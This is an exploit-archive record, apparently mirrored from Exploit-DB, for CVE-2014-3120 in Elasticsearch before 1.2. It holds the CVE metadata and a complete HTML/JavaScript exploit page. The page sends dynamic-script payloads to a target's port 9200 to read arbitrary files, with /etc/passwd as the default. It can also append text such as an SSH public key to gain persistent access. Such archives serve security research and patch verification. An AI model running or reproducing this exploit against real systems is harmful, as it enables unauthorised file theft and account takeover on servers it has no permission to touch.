{"exploit":{"id":"EDB-33370","name":"ElasticSearch - Remote Code Execution (RCE) (1)","description":"ElasticSearch - Remote Code Execution (RCE) (1)","cves":["CVE-2014-3120"],"author":"Jeff Geiger","published":"2014-05-15","platform":"multiple","type":"webapps","language":"HTML","source":"exploit-db","sourceUrl":"https://www.exploit-db.com/exploits/33370","path":"exploits/multiple/webapps/33370.html","revision":"8a926a9b85beb3bccd6e8016211fdb73e904b52b","filename":"EDB-33370.html","vulnerabilities":[{"id":"CVE-2014-3120","state":"PUBLISHED","title":null,"titleSource":null,"description":"The default configuration in Elasticsearch before 1.2 enables dynamic scripting, which allows remote attackers to execute arbitrary MVEL expressions and Java code via the source parameter to _search. NOTE: this only violates the vendor's intended security policy if the user does not run Elasticsearch in its own independent virtual machine.","descriptionSource":"CVE Program","descriptionUrl":"https://www.cve.org/CVERecord?id=CVE-2014-3120","cvss":{"version":"3.1","baseScore":8.1,"severity":"high","vectorString":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N","source":"CISA-ADP","sourceUrl":"https://www.cve.org/CVERecord?id=CVE-2014-3120"},"updatedAt":"2025-10-22T00:05:37.084Z","retrievedAt":"2026-11-27T17:11:06.220Z","stale":false,"error":null}],"imageUrl":"https://exploitbin.com/social/exploits/EDB-33370.png?v=2","url":"https://exploitbin.com/exploits/EDB-33370","downloadUrl":"https://exploitbin.com/api/v1/exploits/EDB-33370/download","codeUrl":"https://exploitbin.com/api/v1/exploits/EDB-33370/code","licenseUrl":"https://exploitbin.com/sources#exploit-db"},"code":"<!--\n##CVE-2014-3120 Elastic Search Remote Code Execution\n\nThis project demonstrates the CVE-2014-3120 vulnerability/misconfiguration.  It allows you to read from and append to files on the system hosting ES, provided the user running ES has access to them.\n\n###Notes\n\nThis does not require a web server.  Save it locally and run it from a browser.\n\nDiscovery and vuln publishing credit goes to: @BvdBijl - http://bouk.co/blog/elasticsearch-rce/\n-->\n\n<html><head><meta http-equiv=\"Content-Type\" content=\"text/html; charset=UTF-8\">\n<!-- Latest compiled and minified CSS -->\n<link href=\"http://netdna.bootstrapcdn.com/bootstrap/3.1.1/css/bootstrap.min.css\" rel=\"stylesheet\">\n\n<!-- Optional theme -->\n<link href=\"http://netdna.bootstrapcdn.com/bootstrap/3.1.1/css/bootstrap-theme.min.css\" rel=\"stylesheet\">\n<style>\nbody {\n  padding-top: 50px;\n}\n.starter-template {\n  padding: 40px 15px;\n  text-align: center;\n}\n\n</style>\n</head>\n\n\n<script src=\"http://code.jquery.com/jquery-1.11.1.min.js\"></script>\n<script>\nfunction es_inject() {\n\nvar read_file;\nvar write_file;\n\nread_file = function(filename) {\n  return (\"import java.util.*;\\nimport java.io.*;\\nnew Scanner(new File(\\\"\" + filename + \"\\\")).useDelimiter(\\\"\\\\\\\\Z\\\").next();\");\n};\n\nwrite_file = function(filename) {\n  return (\"import java.util.*;\\nimport java.io.*;\\nPrintWriter writer = new PrintWriter(new BufferedWriter(new FileWriter(\\\"\" + filename + \"\\\", true)));\\nwriter.println(\\\"\" + document.getElementById(\"element_2\").value + \"\\\");\\nwriter.close();\");\n};\n\n$(function() {\n  var payload, filename, files, host, _i, _len;\n  files = [document.getElementById(\"element_3\").value];\n  payload = {\n    \"size\": 1,\n    \"query\": {\n      \"filtered\": {\n        \"query\": {\n          \"match_all\": {}\n        }\n      }\n    },\n    \"script_fields\": {}\n  };\n        if (document.getElementById(\"element_4\").checked) {\n        for (_i = 0, _len = files.length; _i < _len; _i++) {\n          filename = files[_i];\n          payload[\"script_fields\"][filename] = {\n                  \"script\": write_file(filename)\n        };\n        }\n       } else {\n          for (_i = 0, _len = files.length; _i < _len; _i++) {\n          filename = files[_i];\n          payload[\"script_fields\"][filename] = {\n                  \"script\": read_file(filename)\n        };\n        }\n       }\n\n\n  $.getJSON(\"http://\" + document.getElementById(\"element_1\").value + \":9200/_search?source=\" + (encodeURIComponent(JSON.stringify(payload))) + \"&callback=?\", function(data) {\n    var content, contents, hit, _j, _len1, _ref, _results;\n    console.log(data);\n    _ref = data[\"hits\"][\"hits\"];\n    _results = [];\n    for (_j = 0, _len1 = _ref.length; _j < _len1; _j++) {\n      hit = _ref[_j];\n      _results.push((function() {\n        var _k, _len2, _ref1;\n        _ref1 = hit[\"fields\"];\n        for (filename in _ref1) {\n          contents = _ref1[filename];\n          document.getElementById(\"script_results\").innerHTML += (\"<h2>\" + filename + \"</h2>\");\n          for (_k = 0, _len2 = contents.length; _k < _len2; _k++) {\n            content = contents[_k];\n            document.getElementById(\"script_results\").innerHTML += (content);\n          }\n          document.getElementById(\"script_results\").innerHTML += (\"<hr>\");\n    //document.getElementById(\"script_results\").innerHTML += (document.getElementById(\"element_4\").checked);\n        }\n      })());\n    }\n    return _results;\n  });\n});\n};\n//es_inject();\n</script>\n<body>\n\n    <div class=\"navbar navbar-inverse navbar-fixed-top\" role=\"navigation\">\n      <div class=\"container\">\n        <div class=\"navbar-header\">\n          <button type=\"button\" class=\"navbar-toggle\" data-toggle=\"collapse\" data-target=\".navbar-collapse\">\n            <span class=\"sr-only\">Toggle navigation</span>\n            <span class=\"icon-bar\"></span>\n            <span class=\"icon-bar\"></span>\n            <span class=\"icon-bar\"></span>\n          </button>\n          <a class=\"navbar-brand\" href=\"#\">Elastic Inject</a>\n        </div>\n\n      </div>\n    </div>\n\n    <div class=\"container\">\n\n      <div class=\"starter-template\">\n                <h2>CVE-2014-3120 Elastic Search Remote Code Execution</h2>\n                <p class=\"lead\">This will read and write files from an ES instance vulnerable to CVE-2014-3120.<br> This is for demonstration purposes only.</p>\n      </div>\n      <div class=\"col-md-8\">\n                <!-- <form id=\"ES_Inject\" action=\"\" method=\"\"> /-->\n                <label for=\"element_1\">ES_IP_Address: </label><br/>\n                <input id=\"element_1\" name=\"element_1\" class=\"element text medium\" type=\"text\" maxlength=\"255\" value=\"127.0.0.1\"/> <br/>\n                <label for=\"element_3\">File to read/append to: </label><br/>\n                <input id=\"element_3\" name=\"element_3\" class=\"element text medium\" type=\"text\" maxlength=\"255\" value=\"/etc/passwd\"/> <br/>\n                <label class=\"description\" for=\"element_2\">Content to append: </label><br/>\n                <textarea id=\"element_2\" name=\"element_2\" class=\"element textarea large\">YOUR_SSH_PUBLIC_KEY or SOMETHING&lt;/textarea&gt; <br/>\n    <!-- <input id=\"element_4\" type=\"radio\" name=\"es_action\" value=\"read\" checked>READ<br/> /-->\n    <input id=\"element_4\" type=\"checkbox\" name=\"es_action\" value=\"write\">WRITE<br/>\n                <!-- <input id=\"saveForm\" class=\"button_text\" type=\"submit\" name=\"submit\" value=\"Submit\" onClick=\"es_inject();\"/> /-->\n                <button onclick=\"es_inject();\">Click me</button>\n                <!-- </form> /-->\n<h3>Your file contents should appear below if a read is successful. </h3>\n<div id=\"script_results\">\n\n</div>\n     </div>\n<div class=\"col-md-8\">\n  Original vulnerability discovered by <a href=\"https://twitter.com/bvdbijl\"> @BvdBijl</a>  - <a href=\"http://bouk.co/blog/elasticsearch-rce/\">http://bouk.co/blog/elasticsearch-rce/</a>\n</div>\n    </div><!-- /.container -->\n    <script src=\"//netdna.bootstrapcdn.com/bootstrap/3.1.1/js/bootstrap.min.js\"></script>\n</body></html>","sha256":"16cb8560b2764dc9800da731f4200081e1b4d4f2452bf512c1a9ae6a8dd05e7b","bytes":5950,"fetchedAt":"2026-11-27T17:11:06.084Z","encoding":"utf-8 (display only; download retains original bytes)"}